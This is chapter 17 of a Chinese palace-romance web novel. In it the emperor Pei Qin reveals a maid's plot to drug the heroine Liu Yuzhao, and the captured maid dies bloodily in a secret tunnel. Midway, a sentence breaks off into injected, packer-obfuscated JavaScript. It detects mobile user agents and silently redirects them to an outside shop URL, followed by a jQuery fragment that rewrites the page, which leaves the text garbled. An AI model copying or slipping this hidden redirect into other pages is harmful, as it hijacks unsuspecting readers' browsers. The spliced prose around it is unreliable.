17. 第 17 章
作品:《臣妻不敢违》 金玉马鞍,龙凤窗纹。
出乎她意料,裴钦派来接她的人是宫里的内官,她听李妈妈称他为黄监军。
黄监军长了一张笑眯眯的圆脸,面白无须,轻声慢语随在车外,问她有没有需要侍候的。
柳玉昭强装镇定摇头,眼角余光从车内的奢靡移向上面僭越的花纹。
她还以为自己是像裴钦一样偷偷地入宫,怎么看他的意思恨不得大张旗鼓昭告天下?
挂着的玉珠随着前进发出清脆的叮咚声,柳玉昭却坐立难安,恨不得掀开坐垫躲到车底下。
黄监军竟然带着她从正门走!
柳玉昭真想问问裴钦那厮是如何想的!究竟知不知道两人是什么关系!
马车停下来,柳玉昭心一揪。
侍卫粗犷的声音响起:“什么人!”
黄监军回:“叶太妃的侄女,陛下念及太妃膝下无子,恩准姑娘入宫陪太妃说说话。”
柳玉昭绷直的手放下,呼出一口长气。
裴钦还没彻底疯掉。
侍卫:“原来是黄监军,小人无眼,监军恕罪!”
宫人对他很尊敬,柳玉昭只当他是陛下面前的红人。
黄监军:“使不得使不得,陛下吩咐的事情,自当警醒着,可不能因来人身份睁一只眼闭一只眼。”
柳玉昭没听出黄监军话中深意,侍卫却听懂了。
“监军放心。”
宫门深处安静得可怕,耳边只回荡着玉珠帘撞击的叮铃声。
柳玉昭忍不住抬手,撩起窗帘。
她迎上一双含笑的漆黑眼眸,柳玉昭不禁顿住,眼睛呆呆地看着他。
两人初见时也是这样,她在婚轿中冒险一回,他在楼中无意旁观。
阴差阳错,莫过于斯。
裴钦骑马并行,她带来的侍卫丫鬟早不见了踪影,御前内官张德弯腰驾车。
裴钦开口:“你刚入宫,我不知你会不会害怕,左思右想,批完奏折来陪你。”
他嘴角扬着笃定的笑,“索性来得及。”
金缕玉衣,青年打马走过空旷石阶路,柳玉昭听见胸腔内的心脏发出沉闷的跳动声。
咚!
咚咚咚!
年少慕艾时,柳玉昭想过来日身侧人的模样,因为亲眼见过父母貌不合神离,她从不相信书中与他人口中流传的爱情。
若真有一人,她只要他会在她需要时出现。
柳玉昭不说话,唯独在裴钦介绍宫内殿宇时,那双灵动的眸子会转向他,认真的神色表示她在听。
她就这样缩在精致的乌龟壳里,似乎只要不出去,心房便始终关着锁着。
来到一处栽种着巨大玉棠花树的殿门前,裴钦下马撩开车帘,朝她伸手。
他的动作太快,柳玉昭没回过神,茫然扑扇眼睫,眼睛越睁越大。
张公公不见踪迹,周围只剩他们两个人。
裴钦没说话,也没催促她。手悬在半空,神采奕奕的双眼看着她,满是平静。
在这时候,他显出前所未有的耐心。
风中夹杂着热气,熏得她白皙的肌肤上浮现惹眼的嫣红,柳玉昭眼睛慢慢红了,赌气似的握住他的手,用力往人怀中扑去。
他怎么这样——
柳玉昭咬唇压下纷飞的心绪,只要她迈出一步,裴钦就用力拽她往前走,强盗似的一点理都讲不通!
裴钦的身体一晃,很快定住,动作麻利地抱住她跳下马车,生怕慢一秒她后悔。
两人站在没有匾额的殿前,墙内的玉棠花探出枝头,比拳头还大的花朵盛放,瓣瓣雪白。
裴钦抓着她的手,温热的体温沿着两人掌心传递。
殿内没有人生活的痕迹,明明是分外陌生的场景,她却在恍惚间生出些许熟悉感。
裴钦:“我令人去扬州寻了幼年照顾你的人,东拼西凑总算得出些模样,你看合不合心意?”
柳玉昭悸动的心忽然冷下来。
这人总有些本事在身上,知道怎么让人清醒。
她垂着眉,看不清神色,咬着字句说:“陛下预备如何安置我?”
裴钦皱眉,“不是安置。”
“叶太妃族中无人,我与她做了个交易,届时你以叶家旁支七娘的身份入主中宫,无人敢妄议。”
虽然已经有预感,但柳玉昭整个人还是轻飘飘的,难以想象他人求之不得的泼天富贵就这样落在她身上。
她自认平凡普通,没有出挑的地方。
裙摆摩挲过地面的青砖,身前玉棠花长势正好,恰有一朵落在怀中。
裴钦抓着她的手,力道不重但无法挣脱。
柳玉昭另一只手托住颤巍巍的花瓣,仰头问他:“陛下为何会选中我?”
裴钦骨节分明的手抚上她的脑袋,从发间取下无意落下的花瓣。
“我爱慕你,仅此而已。”
他举止亲近却无玩笑之意,“要问为什么,我也想知道。”
柳玉昭听着他慢慢剖析心声,惴惴不安的心绪反而有了底,倘若他说的是真的,纵是只有两三分,也能在事情败露后不下死手。
只有活着,她才能拿到自己想要的。
姜恒让她拿到守卫舆图,柳玉昭当然不会照做,私下真跑了裴钦只气一时,谋反可是死罪。
想要离开京城才多大的事,犯不上。
裴钦不知道她的小心思,带她往后殿走,眸中闪过不易察觉的深意。
柳玉昭怎么都没想到,这里竟然会有一条地道!
她后退的脚步被裴钦挡住,被迫往前走,横在腰间的手臂一用力,柳玉昭不得不正常走路。
“你要做什么!”
她被这人不按常理出牌的举动逼出怒火,实在想不通裴钦的脑袋是怎么长的。
风花雪月一个没有,让人恐惧后退倒样样在行。
此时她终于知道为何从没听过有人编排裴钦和女郎的故事。
世人说书也得有源头,裴钦就是块没头没脑的朽木!
地道干净整洁,墙上每隔几步亮着蜡烛,一眼看去清清楚楚。
没有血腥味和哀嚎,和大理寺不同,柳玉昭松口气,加快脚步想赶紧出去。
但她看见一个意料之外的人——福安。
福安被绑在木架上,手脚皆被捆住,怨毒地看着他们。
柳玉昭腿脚一软,险些瘫倒。
她落在身后人怀中,惊慌地不敢抬头。
裴钦绑来福安做什么?他发现福安是麻衣教的人?误认为她也是?
柳玉昭不敢问,害怕得到肯定的答案。
裴钦开口打破沉寂,“我本不想动你的人,但她偷偷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392768|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回到侯府,想在你的杯中下红花醉。”
“红花醉无色无味,和七美人一样都是前朝的禁药。尝过红花醉的人终身都得受人控制,在一日日醉生梦死中形销骨立,直到死去。”
福安昂着头,显然裴钦说的是真的。
柳玉昭不知道为什么短暂分开后会变成这样,更不明白福安眼底毫不掩饰的厌恶。
被抓住的手猛地用力,猝不及防将裴钦甩出去。
她一步步走到木架前,仔细打量面孔大变的侍女。
鼻子是鼻子,眼睛是眼睛,心变了。
最终,柳玉昭轻声道:“为什么。”
为什么要给我下药。
她很想把面前的一切当成假的。
柳玉昭眼中溢出晶莹的泪水,她多想放声大哭,张口却连声音都发不出来。
柳玉昭很小的时候见过红花醉,马车扬起的一角,面黄肌瘦的男人宛若皮包骨,阴森可怖。
当初死了很多人,朝廷才将红花醉禁了。
现在裴钦却说那是麻衣教的东西,一个口口声声心系苍生的东西,怎么会和如此阴毒的药有关!
“是谁让你这么做的?”
福安目眦尽裂,被绑住的身体止不住挣扎,往日温和的面孔被愤恨取代。
“小姐,你怎么能和、和他在一起!”
她嚣张癫狂,显然已经是不想活了。
“若不是皇族作祟,我们怎么会躲躲藏藏,死了那么多人!”
“小姐,要怪就怪你自己,”福安咳出一口血,柳玉昭这才发现她脸色发青,瞳孔直愣愣看向前方。
“你和少爷,此生缘尽于此!”
最后一句话说得极轻,柳玉昭不敢回头,她不敢猜测裴钦有没有听清。
因此猛地上前,想要捂住福安的嘴。
“噗呲——”
“哐啷”一声!
柳玉昭愕然张眼,不明白自己手上为什么会有一把刀,不明白为什么匕首会正好割到福安的脖子。
她踉跄后退,眼前被喷涌而出的血色占据,脸色惨白,浑身发冷。
她、她杀了福安?!
不,她没有,福安吞了毒药,靠近时已经断气。
一只手蒙住双眼,干燥平和的黑暗中,柳玉昭渐渐稳住心神。
刀是裴钦放到她手上的。
空气中熏了不易察觉的迷香。
他在刻意激怒她。
裴钦:“柳玉昭,不要怕,胆子大一些。”
“是她先背叛你的,如果今日她不死,来日身中迷药,受人牵制的就是你。”
“想想红花醉,那可是麻衣教用来控制教众的东西,只要粘上死都甩不开。”
他迫不及待把杀人的锅扣在她的头上。
福安的血溅在她手上,温热冰凉的血似乎怎么都擦不干。
裴钦左手握住她,冷腥的鲜血在两人指间蜿蜒,蛇一样死死缠绕。
柳玉昭打了个冷颤。
裴钦半抱着她往回走,血腥味始终萦绕在鼻尖,他的呼吸始终平稳,步伐不疾不徐。
“勇敢些柳玉昭,谁敢拦你的路,杀了就是。”
杀了就是……
柳玉昭心想,那她总有一日岂不是要杀尽天下人。
当然,最先杀掉的那个,一定是身后的他。

